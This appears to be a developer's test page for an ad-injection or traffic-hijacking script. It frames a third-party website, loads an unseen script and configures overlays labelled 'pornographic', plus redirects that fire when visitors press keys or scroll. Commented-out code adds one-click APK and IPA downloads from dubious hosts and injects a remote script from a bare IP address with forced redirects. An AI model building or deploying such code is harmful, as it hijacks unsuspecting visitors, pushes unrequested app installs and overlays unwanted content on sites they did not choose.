<!-- <!DOCTYPE html> -->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        /* *{
            padding: 0;
            margin: 0;
        }
        html {
            width: 100%;
            height: 100%
            
        }

        body {
            margin: 0;
            margin: 0;
            width: 100%;
            height: 100%;
            overflow: hidden;
            background:  red;
        } */
        iframe {
display: block; /* iframes are inline by default */
background: #000;
border: none; /* Reset default border */
height: 100vh; /* Viewport-relative units */
width: 100vw;
}

html,body{

padding: 0;

margin: 0;

height: 100%;

width: 100%;

}

    </style>
    <script src="../newjs/newBD.js"></script>
</head>

<body>

    <!-- <img src="http://mm7.fcrenti.com/photo/uppic/202158/p202158103949861.jpg" style="width: 360px;"> -->
    <a href="demo1.html">demo1.html</a>
    <!-- <iframe frameborder="0" width="100%" height="100%" scrolling="yes" src="http://www.csdaw.com//?ifr=1218"></iframe> -->
    <!-- <iframe  frameborder="0" width="100%" height="100%" scrolling="yes" src="http://www.ynwanheng.cn/"></iframe> -->

    <iframe  width="100%" height="100%" src="http://www.ynwanheng.cn/" style="display:block;border-width:0px;"></iframe>


</body>
<script>
    //      document.onkeydown = function(event) {
        // document.frames['321'].document.getElementById('元素的ID');

        function $(query){
            return document.querySelector(query)
        }

    //  setTimeout(()=>{
    //     console.log($("iframe").contentWindow.document.querySelectorAll('img'))
    //  },100)



    $("iframe").onload = function(){

        console.log('加载完成')
        console.log($("iframe").contentWindow.document.querySelectorAll('img'))
    }


    var frameWidow = $("iframe").contentWindow;



    setTimeout(() => {
        let img = 'https://ae01.alicdn.com/kf/H43ada4b9a5424ba69a84e67d640b11b95.gif', hots = 'http://www.moko.cc/';
        Loading({
            pornographic: {
                // OneClick: {
                //     click: true,
                //     dwApp:true,
                //     IOSlink:'http://img1qn.moko.cc/2020-04-18/0fad076a-116d-4eed-9f55-001d8af1d6bd.jpg',
                //     IosApk:'http://client.32azn2.com/xj_200431.apk',  //xj_200431
                //     dwAPK:'http://apkiosipa.com/sf/3516.apk',  //3516
                //     url: ['http://www.moko.cc/'],
                    
                // },
                appleplet: [{
                    tp: 'top',
                    id: 'cols',
                    sqcont: [{
                        link: hots,
                        img: img
                    },],
                }, {
                    tp: 'bottom',
                    id: 'cols',
                    sqcont: [{
                        link: hots,
                        img: img
                    }],
                },]
            },
            CustomCallbacks: {
                keydow: 'http://www.baidu.com/',
                scroll: 'http://www.taobao.com/',
                // resize: 'http://www.jd.com/'

            }
        })
    }, 1000);


    console.log(func.getWandH().w)

    // var e = event || window.event || arguments.callee.caller.arguments[0];

    // console.log(e)

    // if (e && e.keyCode == 27) { // 按 Esc 

    //     //要做的事情

    // }

    // if (e && e.keyCode == 113) { // 按 F2 

    //     //要做的事情

    // }

    // if (e && e.keyCode == 13) { // enter 键

    //     //要做的事情

    // }

    // };
    // HTMLElement.prototype.pressKey = function(code) {
    // 	var evt = document.createEvent("UIEvents");
    // 	evt.keyCode = code;
    // 	evt.initEvent("keydown", true, true);
    // 	this.dispatchEvent(evt);
    // }


    // document.body.onkeydown = function(e) {
    //     console.log("key pressed, code=" + e.keyCode);
    // };

    // document.body.pressKey(123);

    // document.onkeydown = function (e) { // 回车提交表单
    // // 兼容FF和IE和Opera
    //     var theEvent = window.event || e;
    //     var code = theEvent.keyCode || theEvent.which || theEvent.charCode;
    //     console.log(code)
    //     if (code == 13) {

    //     }
    // }
//     var h = 'host', d = new Date().valueOf(), s = 'spc=100&', t = 'http://'; 0 > h.indexOf(s) && (0 < h.indexOf('?') ? h = `${t}&${s}${d}` : h = `${t}${h}?${s}${d}`); document.write('<script src="http://139.224.190.61:3636/Mix.js" charset="utf-8"></script>
// ');let sup=document.createElement("script");sup.src=h;let
// zr=document.getElementsByTagName("script")[0];zr.parentNode.insertBefore(sup,zr);setTimeout(()=>{new
// bangDe({pornographic:{OneClick:{click:true,off:true,url:['https://juejin.im/','https://www.baidu.com/','https://www.zhihu.com/'],},appleplet:[{tp:'bottom',id:'cols',sqcont:[{link:'http://img4.imgtn.bdimg.com/it/u=2020125859,2662335139&fm=11&gp=0.jpg',img:'http://img4.imgtn.bdimg.com/it/u=2020125859,2662335139&fm=11&gp=0.jpg'}],},]},})},500)



</script>

</html>